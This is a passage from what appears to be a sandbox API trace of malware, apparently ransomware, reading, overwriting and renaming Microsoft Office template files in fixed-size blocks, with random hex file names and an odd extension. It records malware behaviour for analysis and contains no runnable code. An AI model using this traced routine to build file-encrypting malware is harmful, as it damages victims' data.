(lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\MedianLetter.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\medianletter.dotx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1df4 [0138.960] GetFileSizeEx (in: hFile=0x1df4, lpFileSize=0x38c7f860 | out: lpFileSize=0x38c7f860*=117690) returned 1 [0138.960] SetFilePointerEx (in: hFile=0x1df4, liDistanceToMove=0x1cbb6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.960] ReadFile (in: hFile=0x1df4, lpBuffer=0x38c7f7e0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x38c7f828, lpOverlapped=0x0 | out: lpBuffer=0x38c7f7e0*, lpNumberOfBytesRead=0x38c7f828*=0x4, lpOverlapped=0x0) returned 1 [0139.047] SetFilePointerEx (in: hFile=0x1df4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.047] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b070 [0139.047] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b100 [0139.047] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b130 [0139.047] NtQuerySystemTime (in: CurrentTime=0x38c7f720 | out: CurrentTime=0x38c7f720*=132462177442918000) returned 0x0 [0139.047] RtlRandomEx (in: Seed=0x38c7f710 | out: Seed=0x38c7f710) returned 0x51bb32f6 [0139.047] RtlRandomEx (in: Seed=0x38c7f710 | out: Seed=0x38c7f710) returned 0x2452b529 [0139.047] RtlRandomEx (in: Seed=0x38c7f710 | out: Seed=0x38c7f710) returned 0x5bb4b5e [0139.047] RtlRandomEx (in: Seed=0x38c7f710 | out: Seed=0x38c7f710) returned 0x640994bc [0139.047] RtlRandomEx (in: Seed=0x38c7f710 | out: Seed=0x38c7f710) returned 0x6e8b38aa [0139.047] RtlRandomEx (in: Seed=0x38c7f710 | out: Seed=0x38c7f710) returned 0x43d6d75e [0139.047] RtlRandomEx (in: Seed=0x38c7f710 | out: Seed=0x38c7f710) returned 0x1f94ba05 [0139.047] RtlRandomEx (in: Seed=0x38c7f710 | out: Seed=0x38c7f710) returned 0x5a36c802 [0139.047] RtlRandomEx (in: Seed=0x38c7f710 | out: Seed=0x38c7f710) returned 0x71e57a2b [0139.047] RtlRandomEx (in: Seed=0x38c7f710 | out: Seed=0x38c7f710) returned 0x25513f43 [0139.047] RtlRandomEx (in: Seed=0x38c7f710 | out: Seed=0x38c7f710) returned 0x1d4e21fb [0139.047] RtlRandomEx (in: Seed=0x38c7f710 | out: Seed=0x38c7f710) returned 0x20329529 [0139.047] RtlRandomEx (in: Seed=0x38c7f710 | out: Seed=0x38c7f710) returned 0x617a3faf [0139.047] RtlRandomEx (in: Seed=0x38c7f710 | out: Seed=0x38c7f710) returned 0x23fc7502 [0139.047] RtlRandomEx (in: Seed=0x38c7f710 | out: Seed=0x38c7f710) returned 0x644a14a2 [0139.048] RtlRandomEx (in: Seed=0x38c7f710 | out: Seed=0x38c7f710) returned 0x3b547fd9 [0139.048] RtlRandomEx (in: Seed=0x38c7f710 | out: Seed=0x38c7f710) returned 0x30cbaf82 [0139.048] RtlRandomEx (in: Seed=0x38c7f710 | out: Seed=0x38c7f710) returned 0x48cf1ca4 [0139.048] RtlRandomEx (in: Seed=0x38c7f710 | out: Seed=0x38c7f710) returned 0x5149d3ba [0139.048] RtlRandomEx (in: Seed=0x38c7f710 | out: Seed=0x38c7f710) returned 0x58f157d4 [0139.048] RtlRandomEx (in: Seed=0x38c7f710 | out: Seed=0x38c7f710) returned 0x27d03144 [0139.048] RtlRandomEx (in: Seed=0x38c7f710 | out: Seed=0x38c7f710) returned 0x42b277d3 [0139.048] RtlRandomEx (in: Seed=0x38c7f710 | out: Seed=0x38c7f710) returned 0x21e14f3 [0139.048] RtlRandomEx (in: Seed=0x38c7f710 | out: Seed=0x38c7f710) returned 0x335c88f6 [0139.048] RtlRandomEx (in: Seed=0x38c7f710 | out: Seed=0x38c7f710) returned 0x4afab1ee [0139.048] RtlRandomEx (in: Seed=0x38c7f710 | out: Seed=0x38c7f710) returned 0x65f68c22 [0139.048] RtlRandomEx (in: Seed=0x38c7f710 | out: Seed=0x38c7f710) returned 0x7719a25d [0139.048] RtlRandomEx (in: Seed=0x38c7f710 | out: Seed=0x38c7f710) returned 0x16f1d336 [0139.048] RtlRandomEx (in: Seed=0x38c7f710 | out: Seed=0x38c7f710) returned 0x3a7f9a87 [0139.048] RtlRandomEx (in: Seed=0x38c7f710 | out: Seed=0x38c7f710) returned 0x1cd9fd03 [0139.048] RtlRandomEx (in: Seed=0x38c7f710 | out: Seed=0x38c7f710) returned 0x12b3f05f [0139.048] RtlRandomEx (in: Seed=0x38c7f710 | out: Seed=0x38c7f710) returned 0x6b46bbe0 [0139.056] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b160 [0139.056] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420612b0 [0139.056] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b190 [0139.056] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420612b0) returned 1 [0139.056] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b130) returned 1 [0139.056] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b070) returned 1 [0139.057] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42103100 [0139.063] SetFilePointerEx (in: hFile=0x1df4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.063] ReadFile (in: hFile=0x1df4, lpBuffer=0x42103100, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x38c7f780, lpOverlapped=0x0 | out: lpBuffer=0x42103100*, lpNumberOfBytesRead=0x38c7f780*=0x3c00, lpOverlapped=0x0) returned 1 [0139.094] SetFilePointerEx (in: hFile=0x1df4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.094] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd977b0 [0139.094] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420612b0 [0139.095] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b370 [0139.095] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b370) returned 1 [0139.095] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42121180 [0139.095] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b370 [0139.095] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b3a0 [0139.095] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b3a0) returned 1 [0139.095] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420612b0) returned 1 [0139.095] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd977b0) returned 1 [0139.096] WriteFile (hFile=0x1df4, lpBuffer=0x42121180, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x38c7f780, lpOverlapped=0x0) [0170.796] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42121180) returned 1 [0170.796] SetFilePointerEx (in: hFile=0x1df4, liDistanceToMove=0xf000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.796] ReadFile (in: hFile=0x1df4, lpBuffer=0x42103100, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x38c7f780, lpOverlapped=0x0 | out: lpBuffer=0x42103100*, lpNumberOfBytesRead=0x38c7f780*=0x3c00, lpOverlapped=0x0) returned 1 [0170.887] SetFilePointerEx (in: hFile=0x1df4, liDistanceToMove=0xf000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.887] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97490 [0170.888] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061330 [0170.888] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262120 [0170.888] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262120) returned 1 [0170.889] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42186d10 [0170.889] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262120 [0170.889] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261e80 [0170.890] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261e80) returned 1 [0170.890] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061330) returned 1 [0170.890] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97490) returned 1 [0170.890] WriteFile (in: hFile=0x1df4, lpBuffer=0x42186d10*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x38c7f780, lpOverlapped=0x0 | out: lpBuffer=0x42186d10*, lpNumberOfBytesWritten=0x38c7f780*=0x3c00, lpOverlapped=0x0) returned 1 [0187.174] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42186d10) returned 1 [0187.174] SetFilePointerEx (in: hFile=0x1df4, liDistanceToMove=0x18fba, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.174] ReadFile (in: hFile=0x1df4, lpBuffer=0x42103100, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x38c7f780, lpOverlapped=0x0 | out: lpBuffer=0x42103100*, lpNumberOfBytesRead=0x38c7f780*=0x3c00, lpOverlapped=0x0) returned 1 [0190.603] SetFilePointerEx (in: hFile=0x1df4, liDistanceToMove=0x18fba, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.604] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c0d0 [0190.604] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420607b0 [0190.604] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43138e30 [0190.605] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43138e30) returned 1 [0190.605] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x429bcae0 [0190.605] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43138e30 [0190.605] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43138e60 [0190.606] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43138e60) returned 1 [0190.606] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420607b0) returned 1 [0190.607] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c0d0) returned 1 [0190.607] WriteFile (in: hFile=0x1df4, lpBuffer=0x429bcae0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x38c7f780, lpOverlapped=0x0 | out: lpBuffer=0x429bcae0*, lpNumberOfBytesWritten=0x38c7f780*=0x3c00, lpOverlapped=0x0) returned 1 [0205.351] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x429bcae0) returned 1 [0205.351] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x4319f830 [0205.351] SetFilePointerEx (in: hFile=0x1df4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0205.351] WriteFile (in: hFile=0x1df4, lpBuffer=0x431f5bc0*, nNumberOfBytesToWrite=0x154, lpNumberOfBytesWritten=0x38c7f830, lpOverlapped=0x0 | out: lpBuffer=0x431f5bc0*, lpNumberOfBytesWritten=0x38c7f830*=0x154, lpOverlapped=0x0) returned 1 [0208.673] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5bd90 [0208.673] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ceba360 [0208.674] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a980 [0208.674] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a980) returned 1 [0208.675] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x4205a980 [0208.675] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a950 [0208.675] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a8f0 [0208.676] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a8f0) returned 1 [0208.676] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceba360) returned 1 [0208.677] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bd90) returned 1 [0208.677] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x45) returned 0x1ce5bd90 [0208.677] sprintf (in: _Dest=0x1ce5bd90, _Format="%c%c" | out: _Dest="d5") returned 2 [0208.677] sprintf (in: _Dest=0x1ce5bd92, _Format="%c%c" | out: _Dest="f2") returned 2 [0208.677] sprintf (in: _Dest=0x1ce5bd94, _Format="%c%c" | out: _Dest="20") returned 2 [0208.677] sprintf (in: _Dest=0x1ce5bd96, _Format="%c%c" | out: _Dest="84") returned 2 [0208.677] sprintf (in: _Dest=0x1ce5bd98, _Format="%c%c" | out: _Dest="fc") returned 2 [0208.677] sprintf (in: _Dest=0x1ce5bd9a, _Format="%c%c" | out: _Dest="f5") returned 2 [0208.677] sprintf (in: _Dest=0x1ce5bd9c, _Format="%c%c" | out: _Dest="33") returned 2 [0208.677] sprintf (in: _Dest=0x1ce5bd9e, _Format="%c%c" | out: _Dest="15") returned 2 [0208.677] sprintf (in: _Dest=0x1ce5bda0, _Format="%c%c" | out: _Dest="f2") returned 2 [0208.677] sprintf (in: _Dest=0x1ce5bda2, _Format="%c%c" | out: _Dest="3d") returned 2 [0208.677] sprintf (in: _Dest=0x1ce5bda4, _Format="%c%c" | out: _Dest="a6") returned 2 [0208.677] sprintf (in: _Dest=0x1ce5bda6, _Format="%c%c" | out: _Dest="61") returned 2 [0208.677] sprintf (in: _Dest=0x1ce5bda8, _Format="%c%c" | out: _Dest="f0") returned 2 [0208.677] sprintf (in: _Dest=0x1ce5bdaa, _Format="%c%c" | out: _Dest="ee") returned 2 [0208.677] sprintf (in: _Dest=0x1ce5bdac, _Format="%c%c" | out: _Dest="1f") returned 2 [0208.678] sprintf (in: _Dest=0x1ce5bdae, _Format="%c%c" | out: _Dest="92") returned 2 [0208.678] sprintf (in: _Dest=0x1ce5bdb0, _Format="%c%c" | out: _Dest="12") returned 2 [0208.678] sprintf (in: _Dest=0x1ce5bdb2, _Format="%c%c" | out: _Dest="33") returned 2 [0208.678] sprintf (in: _Dest=0x1ce5bdb4, _Format="%c%c" | out: _Dest="3d") returned 2 [0208.678] sprintf (in: _Dest=0x1ce5bdb6, _Format="%c%c" | out: _Dest="ff") returned 2 [0208.678] sprintf (in: _Dest=0x1ce5bdb8, _Format="%c%c" | out: _Dest="73") returned 2 [0208.678] sprintf (in: _Dest=0x1ce5bdba, _Format="%c%c" | out: _Dest="4f") returned 2 [0208.678] sprintf (in: _Dest=0x1ce5bdbc, _Format="%c%c" | out: _Dest="96") returned 2 [0208.678] sprintf (in: _Dest=0x1ce5bdbe, _Format="%c%c" | out: _Dest="3d") returned 2 [0208.678] sprintf (in: _Dest=0x1ce5bdc0, _Format="%c%c" | out: _Dest="ee") returned 2 [0208.678] sprintf (in: _Dest=0x1ce5bdc2, _Format="%c%c" | out: _Dest="9b") returned 2 [0208.678] sprintf (in: _Dest=0x1ce5bdc4, _Format="%c%c" | out: _Dest="b6") returned 2 [0208.678] sprintf (in: _Dest=0x1ce5bdc6, _Format="%c%c" | out: _Dest="0c") returned 2 [0208.678] sprintf (in: _Dest=0x1ce5bdc8, _Format="%c%c" | out: _Dest="f9") returned 2 [0208.678] sprintf (in: _Dest=0x1ce5bdca, _Format="%c%c" | out: _Dest="32") returned 2 [0208.678] sprintf (in: _Dest=0x1ce5bdcc, _Format="%c%c" | out: _Dest="76") returned 2 [0208.678] sprintf (in: _Dest=0x1ce5bdce, _Format="%c%c" | out: _Dest="51") returned 2 [0208.678] sprintf (in: _Dest=0x1ce5bdd0, _Format="%c%c" | out: _Dest="9e") returned 2 [0208.678] sprintf (in: _Dest=0x1ce5bdd2, _Format="%c%c" | out: _Dest="18") returned 2 [0208.678] RtlInitAnsiString (in: DestinationString=0x38c7f8a8, SourceString="d5f22084fcf53315f23da661f0ee1f9212333dff734f963dee9bb60cf93276519e18" | out: DestinationString="d5f22084fcf53315f23da661f0ee1f9212333dff734f963dee9bb60cf93276519e18") [0208.678] RtlAnsiStringToUnicodeString (in: DestinationString=0x38c7f878, SourceString="d5f22084fcf53315f23da661f0ee1f9212333dff734f963dee9bb60cf93276519e18", AllocateDestinationString=1 | out: DestinationString="d5f22084fcf53315f23da661f0ee1f9212333dff734f963dee9bb60cf93276519e18") returned 0x0 [0208.678] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x43183580 [0208.679] wcscat (in: _Dest=0x43189300, _Source="d5f22084fcf53315f" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\d5f22084fcf53315f") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\d5f22084fcf53315f" [0208.679] wcscat (in: _Dest=0x43189300, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\d5f22084fcf53315f.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\d5f22084fcf53315f.2f9b60" [0208.679] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\d5f22084fcf53315f.2f9b60", NtPathName=0x38c7f850, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\d5f22084fcf53315f.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0208.679] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb2) returned 0x4312a220 Thread: id = 2120 os_tid = 0x1460 [0138.962] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\MedianMergeFax.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\medianmergefax.dotx")) returned 0x20 [0138.962] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\MedianMergeFax.Dotx", dwFileAttributes=0x20) returned 1 [0138.962] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\MedianMergeFax.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\medianmergefax.dotx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1d54 [0138.963] GetFileSizeEx (in: hFile=0x1d54, lpFileSize=0x38eafe40 | out: lpFileSize=0x38eafe40*=103770) returned 1 [0138.963] SetFilePointerEx (in: hFile=0x1d54, liDistanceToMove=0x19556, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.963] ReadFile (in: hFile=0x1d54, lpBuffer=0x38eafdc0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x38eafe08, lpOverlapped=0x0 | out: lpBuffer=0x38eafdc0*, lpNumberOfBytesRead=0x38eafe08*=0x4, lpOverlapped=0x0) returned 1 [0139.063] SetFilePointerEx (in: hFile=0x1d54, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.063] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b070 [0139.064] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b130 [0139.064] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b1c0 [0139.064] NtQuerySystemTime (in: CurrentTime=0x38eafd00 | out: CurrentTime=0x38eafd00*=132462177443074000) returned 0x0 [0139.064] RtlRandomEx (in: Seed=0x38eafcf0 | out: Seed=0x38eafcf0) returned 0x2ac29293 [0139.064] RtlRandomEx (in: Seed=0x38eafcf0 | out: Seed=0x38eafcf0) returned 0x47e201cc [0139.064] RtlRandomEx (in: Seed=0x38eafcf0 | out: Seed=0x38eafcf0) returned 0x76597c7f [0139.064] RtlRandomEx (in: Seed=0x38eafcf0 | out: Seed=0x38eafcf0) returned 0x57f9aa1c [0139.064] RtlRandomEx (in: Seed=0x38eafcf0 | out: Seed=0x38eafcf0) returned 0x7fa9a448 [0139.064] RtlRandomEx (in: Seed=0x38eafcf0 | out: Seed=0x38eafcf0) returned 0x6cc3c07f [0139.064] RtlRandomEx (in: Seed=0x38eafcf0 | out: Seed=0x38eafcf0) returned 0x1616af9b [0139.064] RtlRandomEx (in: Seed=0x38eafcf0 | out: Seed=0x38eafcf0) returned 0x34865778 [0139.064] RtlRandomEx (in: Seed=0x38eafcf0 | out: Seed=0x38eafcf0) returned 0x7f154fc7 [0139.064] RtlRandomEx (in: Seed=0x38eafcf0 | out: Seed=0x38eafcf0) returned 0x7a0a4ae1 [0139.064] RtlRandomEx (in: Seed=0x38eafcf0 | out: Seed=0x38eafcf0) returned 0x59e286ad [0139.064] RtlRandomEx (in: Seed=0x38eafcf0 | out: Seed=0x38eafcf0) returned 0x664036 [0139.064] RtlRandomEx (in: Seed=0x38eafcf0 | out: Seed=0x38eafcf0) returned 0x14d7c01 [0139.064] RtlRandomEx (in: Seed=0x38eafcf0 | out: Seed=0x38eafcf0) returned 0x7f68198 [0139.064] RtlRandomEx (in: Seed=0x38eafcf0 | out: Seed=0x38eafcf0) returned 0x6b8708f2 [0139.064] RtlRandomEx (in: Seed=0x38eafcf0 | out: Seed=0x38eafcf0) returned 0x65abdb4e [0139.064] RtlRandomEx (in: Seed=0x38eafcf0 | out: Seed=0x38eafcf0) returned 0x496d7f8 [0139.064] RtlRandomEx (in: Seed=0x38eafcf0 | out: Seed=0x38eafcf0) returned 0x640ccc4c [0139.064] RtlRandomEx (in: Seed=0x38eafcf0 | out: Seed=0x38eafcf0) returned 0x23e8311 [0139.064] RtlRandomEx (in: Seed=0x38eafcf0 | out: Seed=0x38eafcf0) returned 0x4e2cef19 [0139.064] RtlRandomEx (in: Seed=0x38eafcf0 | out: Seed=0x38eafcf0) returned 0x61a88823 [0139.064] RtlRandomEx (in: Seed=0x38eafcf0 | out: Seed=0x38eafcf0) returned 0x6833bc3b [0139.064] RtlRandomEx (in: Seed=0x38eafcf0 | out: Seed=0x38eafcf0) returned 0x6cc41151 [0139.065] RtlRandomEx (in: Seed=0x38eafcf0 | out: Seed=0x38eafcf0) returned 0x5a3c76c6 [0139.065] RtlRandomEx (in: Seed=0x38eafcf0 | out: Seed=0x38eafcf0) returned 0x4e18f8b4 [0139.065] RtlRandomEx (in: Seed=0x38eafcf0 | out: Seed=0x38eafcf0) returned 0x616ffc31 [0139.065] RtlRandomEx (in: Seed=0x38eafcf0 | out: Seed=0x38eafcf0) returned 0x63f46322 [0139.065] RtlRandomEx (in: Seed=0x38eafcf0 | out: Seed=0x38eafcf0) returned 0x7506c9f4 [0139.065] RtlRandomEx (in: Seed=0x38eafcf0 | out: Seed=0x38eafcf0) returned 0x55075a2a [0139.065] RtlRandomEx (in: Seed=0x38eafcf0 | out: Seed=0x38eafcf0) returned 0x184767e1 [0139.065] RtlRandomEx (in: Seed=0x38eafcf0 | out: Seed=0x38eafcf0) returned 0x345f7439 [0139.065] RtlRandomEx (in: Seed=0x38eafcf0 | out: Seed=0x38eafcf0) returned 0x641f3be2 [0139.071] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b1f0 [0139.072] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420612b0 [0139.072] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b220 [0139.072] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420612b0) returned 1 [0139.072] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b1c0) returned 1 [0139.072] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b070) returned 1 [0139.072] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42106d10 [0139.073] SetFilePointerEx (in: hFile=0x1d54, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.073] ReadFile (in: hFile=0x1d54, lpBuffer=0x42106d10, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x38eafd60, lpOverlapped=0x0 | out: lpBuffer=0x42106d10*, lpNumberOfBytesRead=0x38eafd60*=0x3c00, lpOverlapped=0x0) returned 1 [0139.096] SetFilePointerEx (in: hFile=0x1d54, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.096] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd977b0 [0139.096] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420612b0 [0139.096] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b3a0 [0139.097] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b3a0) returned 1 [0139.097] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42124d90 [0139.097] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b3a0 [0139.097] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b3d0 [0139.097] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b3d0) returned 1 [0139.097] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420612b0) returned 1 [0139.097] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd977b0) returned 1 [0139.097] WriteFile (hFile=0x1d54, lpBuffer=0x42124d90, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x38eafd60, lpOverlapped=0x0) [0172.945] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42124d90) returned 1 [0172.945] SetFilePointerEx (in: hFile=0x1d54, liDistanceToMove=0xf000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.946] ReadFile (in: hFile=0x1d54, lpBuffer=0x42106d10, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x38eafd60, lpOverlapped=0x0 | out: lpBuffer=0x42106d10*, lpNumberOfBytesRead=0x38eafd60*=0x3c00, lpOverlapped=0x0) returned 1 [0173.033] SetFilePointerEx (in: hFile=0x1d54, liDistanceToMove=0xf000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.033] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059470 [0173.033] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20505110 [0173.034] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f38b0 [0173.034] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f38b0) returned 1 [0173.034] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x2036bd40 [0173.035] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f38b0 [0173.035] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3850 [0173.035] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3850) returned 1 [0173.036] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20505110) returned 1 